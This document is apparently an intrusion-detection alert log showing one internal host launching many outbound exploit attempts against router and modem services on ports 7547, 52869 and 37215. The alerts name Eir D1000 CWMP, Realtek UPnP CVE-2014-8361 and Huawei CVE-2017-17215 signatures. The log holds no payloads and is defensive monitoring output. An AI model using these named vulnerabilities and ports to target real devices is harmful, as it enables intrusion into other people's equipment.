Timestamp:	04/15/24-08:52:48.240137
SID:	2025576
Source Port:	54348
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 80.111.199.200

Timestamp:	04/15/24-08:52:13.972378
SID:	2023548
Source Port:	42706
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 183.124.218.211

Timestamp:	04/15/24-08:53:50.071651
SID:	2023548
Source Port:	41048
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 50.103.64.100

Timestamp:	04/15/24-08:52:12.887228
SID:	2023548
Source Port:	55842
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 213.243.25.244

Timestamp:	04/15/24-08:53:05.076288
SID:	2023548
Source Port:	48688
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 54.227.211.2

Timestamp:	04/15/24-08:53:41.449900
SID:	2025576
Source Port:	40412
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 71.94.50.118

Timestamp:	04/15/24-08:52:22.861472
SID:	2023548
Source Port:	33954
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 112.161.210.106

Timestamp:	04/15/24-08:53:22.565647
SID:	2023548
Source Port:	50698
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 220.120.65.215

Timestamp:	04/15/24-08:53:10.730759
SID:	2023548
Source Port:	57836
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 75.167.10.129

Timestamp:	04/15/24-08:53:41.831757
SID:	2023548
Source Port:	33304
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 176.124.195.182

Timestamp:	04/15/24-08:53:49.797997
SID:	2025576
Source Port:	50982
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 75.168.83.35

Timestamp:	04/15/24-08:53:04.528967
SID:	2023548
Source Port:	39554
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 118.190.246.2

Timestamp:	04/15/24-08:53:37.981238
SID:	2025576
Source Port:	36206
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 59.30.60.157

Timestamp:	04/15/24-08:52:57.732984
SID:	2023548
Source Port:	38346
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 220.85.134.187

Timestamp:	04/15/24-08:53:27.847253
SID:	2023548
Source Port:	49720
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 63.41.214.178

Timestamp:	04/15/24-08:53:06.961829
SID:	2025576
Source Port:	53664
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 164.250.163.134

Timestamp:	04/15/24-08:53:10.881220
SID:	2025132
Source Port:	50484
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 209.54.99.181

Timestamp:	04/15/24-08:52:51.408727
SID:	2025576
Source Port:	47554
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 175.228.4.92

Timestamp:	04/15/24-08:53:43.076470
SID:	2023548
Source Port:	51060
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 66.65.167.194

Timestamp:	04/15/24-08:52:28.559618
SID:	2023548
Source Port:	52308
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 39.53.254.123

Timestamp:	04/15/24-08:52:58.370424
SID:	2023548
Source Port:	37414
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 23.61.47.156

Timestamp:	04/15/24-08:53:16.766124
SID:	2025576
Source Port:	51690
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 172.85.3.23

Timestamp:	04/15/24-08:52:40.952733
SID:	2023548
Source Port:	43920
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 186.7.196.2

Timestamp:	04/15/24-08:52:28.735165
SID:	2025576
Source Port:	58068
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 144.178.92.106

Timestamp:	04/15/24-08:53:26.974578
SID:	2025576
Source Port:	56472
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 128.199.144.166

Timestamp:	04/15/24-08:53:49.723686
SID:	2025576
Source Port:	58666
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 51.75.16.97

Timestamp:	04/15/24-08:53:35.045827
SID:	2025576
Source Port:	35548
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 66.61.113.246

Timestamp:	04/15/24-08:52:28.301995
SID:	2023548
Source Port:	42216
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 211.149.167.187

Timestamp:	04/15/24-08:53:07.068530
SID:	2025576
Source Port:	52284
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 105.244.210.18

Timestamp:	04/15/24-08:52:20.354913
SID:	2023548
Source Port:	52662
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 197.203.82.105

Timestamp:	04/15/24-08:53:53.144986
SID:	2023548
Source Port:	56746
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 95.14.124.70

Timestamp:	04/15/24-08:53:57.251599
SID:	2025132
Source Port:	46502
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 206.119.7.49

Timestamp:	04/15/24-08:52:15.891825
SID:	2025576
Source Port:	35680
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 182.242.216.220

Timestamp:	04/15/24-08:53:49.397166
SID:	2025576
Source Port:	43428
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 47.7.35.31

Timestamp:	04/15/24-08:52:51.986751
SID:	2023548
Source Port:	34226
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 23.197.121.143

Timestamp:	04/15/24-08:53:03.076125
SID:	2025576
Source Port:	46730
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 18.64.57.139

Timestamp:	04/15/24-08:52:52.555787
SID:	2025576
Source Port:	34690
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 31.136.74.211

Timestamp:	04/15/24-08:52:59.146870
SID:	2023548
Source Port:	59130
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 109.168.255.45

Timestamp:	04/15/24-08:53:18.013230
SID:	2023548
Source Port:	36454
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 47.160.36.20

Timestamp:	04/15/24-08:53:42.042023
SID:	2023548
Source Port:	54854
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 107.151.208.244

Timestamp:	04/15/24-08:52:49.578114
SID:	2023548
Source Port:	51334
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 201.210.111.76

Timestamp:	04/15/24-08:52:44.849400
SID:	2023548
Source Port:	55888
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 109.227.23.35

Timestamp:	04/15/24-08:53:37.901313
SID:	2023548
Source Port:	50074
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 75.165.150.113

Timestamp:	04/15/24-08:52:20.239421
SID:	2023548
Source Port:	56294
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 95.5.247.230

Timestamp:	04/15/24-08:53:46.613470
SID:	2023548
Source Port:	33978
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 86.179.210.39

Timestamp:	04/15/24-08:52:13.865376
SID:	2023548
Source Port:	57130
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 115.66.61.52

Timestamp:	04/15/24-08:52:47.856899
SID:	2025576
Source Port:	56168
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 46.101.151.120

Timestamp:	04/15/24-08:52:15.892222
SID:	2025576
Source Port:	59908
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 115.7.120.56

Timestamp:	04/15/24-08:53:27.562569
SID:	2023548
Source Port:	50270
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 184.13.54.25

Timestamp:	04/15/24-08:53:00.759630
SID:	2023548
Source Port:	59226
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 154.240.16.220

Timestamp:	04/15/24-08:53:44.166294
SID:	2023548
Source Port:	42992
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 84.75.73.72

Timestamp:	04/15/24-08:52:52.065926
SID:	2023548
Source Port:	42312
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 160.218.114.130

Timestamp:	04/15/24-08:52:40.172957
SID:	2025576
Source Port:	49058
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 179.215.18.251

Timestamp:	04/15/24-08:53:17.972634
SID:	2023548
Source Port:	36606
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 119.198.228.14

Timestamp:	04/15/24-08:52:12.937415
SID:	2023548
Source Port:	40212
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 41.111.144.28

Timestamp:	04/15/24-08:52:20.109784
SID:	2023548
Source Port:	35398
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 34.252.174.62

Timestamp:	04/15/24-08:52:23.292107
SID:	2025576
Source Port:	35226
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 115.3.91.2

Timestamp:	04/15/24-08:53:21.568234
SID:	2023548
Source Port:	36054
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 121.166.94.196

Timestamp:	04/15/24-08:52:49.440766
SID:	2023548
Source Port:	41392
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 163.191.63.110

Timestamp:	04/15/24-08:53:53.715726
SID:	2023548
Source Port:	42184
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 164.250.163.134

Timestamp:	04/15/24-08:53:10.881220
SID:	2027339
Source Port:	50484
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 112.161.210.106

Timestamp:	04/15/24-08:53:22.858058
SID:	2023548
Source Port:	50790
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 118.45.126.149

Timestamp:	04/15/24-08:53:32.476951
SID:	2023548
Source Port:	55252
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 66.22.57.83

Timestamp:	04/15/24-08:53:50.614763
SID:	2025576
Source Port:	37650
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 190.194.123.239

Timestamp:	04/15/24-08:53:48.246755
SID:	2023548
Source Port:	43812
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 194.195.254.132

Timestamp:	04/15/24-08:52:30.247631
SID:	2831300
Source Port:	53180
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 61.147.115.54

Timestamp:	04/15/24-08:52:55.714817
SID:	2027339
Source Port:	43438
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 121.238.181.123

Timestamp:	04/15/24-08:53:56.780929
SID:	2023548
Source Port:	45126
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 37.106.53.141

Timestamp:	04/15/24-08:52:44.128464
SID:	2023548
Source Port:	34962
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 216.118.152.111

Timestamp:	04/15/24-08:53:49.802960
SID:	2023548
Source Port:	41338
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 178.239.112.106

Timestamp:	04/15/24-08:53:16.677644
SID:	2025576
Source Port:	49376
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 47.157.67.30

Timestamp:	04/15/24-08:53:32.506056
SID:	2023548
Source Port:	42318
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 157.7.177.76

Timestamp:	04/15/24-08:53:41.710768
SID:	2025576
Source Port:	44592
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 37.78.64.182

Timestamp:	04/15/24-08:53:56.133950
SID:	2023548
Source Port:	33518
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 107.147.202.121

Timestamp:	04/15/24-08:53:32.700876
SID:	2023548
Source Port:	47482
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 59.147.122.56

Timestamp:	04/15/24-08:53:21.788050
SID:	2023548
Source Port:	47746
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 106.14.44.50

Timestamp:	04/15/24-08:52:23.292672
SID:	2025576
Source Port:	56436
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 183.124.218.211

Timestamp:	04/15/24-08:53:49.770465
SID:	2023548
Source Port:	41024
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 146.148.188.107

Timestamp:	04/15/24-08:52:46.515193
SID:	2025132
Source Port:	55110
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 184.147.245.229

Timestamp:	04/15/24-08:53:06.729595
SID:	2025576
Source Port:	44030
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 220.126.223.85

Timestamp:	04/15/24-08:53:14.767174
SID:	2023548
Source Port:	55988
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 14.77.48.238

Timestamp:	04/15/24-08:52:42.204802
SID:	2023548
Source Port:	59240
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 172.65.157.181

Timestamp:	04/15/24-08:53:44.089295
SID:	2835222
Source Port:	44394
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 191.33.118.176

Timestamp:	04/15/24-08:52:51.808572
SID:	2023548
Source Port:	44686
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 84.224.167.97

Timestamp:	04/15/24-08:52:30.153976
SID:	2023548
Source Port:	53188
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 165.51.2.23

Timestamp:	04/15/24-08:53:23.274190
SID:	2023548
Source Port:	56826
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 77.81.232.33

Timestamp:	04/15/24-08:52:28.810706
SID:	2025576
Source Port:	51632
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 84.224.167.97

Timestamp:	04/15/24-08:52:30.507898
SID:	2023548
Source Port:	53198
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 178.135.107.248

Timestamp:	04/15/24-08:53:57.239368
SID:	2025132
Source Port:	38754
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 1.1.157.49

Timestamp:	04/15/24-08:52:58.867890
SID:	2023548
Source Port:	38386
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 67.251.149.88

Timestamp:	04/15/24-08:53:31.968544
SID:	2023548
Source Port:	43640
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 174.100.141.119

Timestamp:	04/15/24-08:53:58.312074
SID:	2023548
Source Port:	40082
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 61.147.115.54

Timestamp:	04/15/24-08:52:55.714817
SID:	2025132
Source Port:	43438
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 96.17.253.183

Timestamp:	04/15/24-08:52:23.328920
SID:	2025576
Source Port:	53126
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 164.250.240.184

Timestamp:	04/15/24-08:53:28.933199
SID:	2027339
Source Port:	50288
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 172.104.122.124

Timestamp:	04/15/24-08:53:50.967730
SID:	2025576
Source Port:	55292
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 146.160.56.13

Timestamp:	04/15/24-08:53:28.903887
SID:	2025576
Source Port:	44092
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 31.136.253.47

Timestamp:	04/15/24-08:53:30.146250
SID:	2027339
Source Port:	53100
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 38.59.3.154

Timestamp:	04/15/24-08:53:21.869787
SID:	2025576
Source Port:	43214
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 125.157.112.139

Timestamp:	04/15/24-08:52:57.063751
SID:	2023548
Source Port:	52532
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 115.0.63.35

Timestamp:	04/15/24-08:53:08.836908
SID:	2023548
Source Port:	45546
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 37.16.13.15

Timestamp:	04/15/24-08:52:44.838895
SID:	2023548
Source Port:	42822
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 121.180.182.81

Timestamp:	04/15/24-08:52:26.767000
SID:	2023548
Source Port:	41836
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 35.164.240.25

Timestamp:	04/15/24-08:53:21.883784
SID:	2025576
Source Port:	52610
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 165.171.240.234

Timestamp:	04/15/24-08:52:53.683968
SID:	2025576
Source Port:	33712
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 107.159.134.51

Timestamp:	04/15/24-08:52:26.867186
SID:	2023548
Source Port:	54680
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 144.139.26.171

Timestamp:	04/15/24-08:52:35.065409
SID:	2023548
Source Port:	47906
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 34.120.172.84

Timestamp:	04/15/24-08:53:55.807413
SID:	2025576
Source Port:	55610
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 152.171.203.31

Timestamp:	04/15/24-08:53:19.251039
SID:	2023548
Source Port:	55586
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

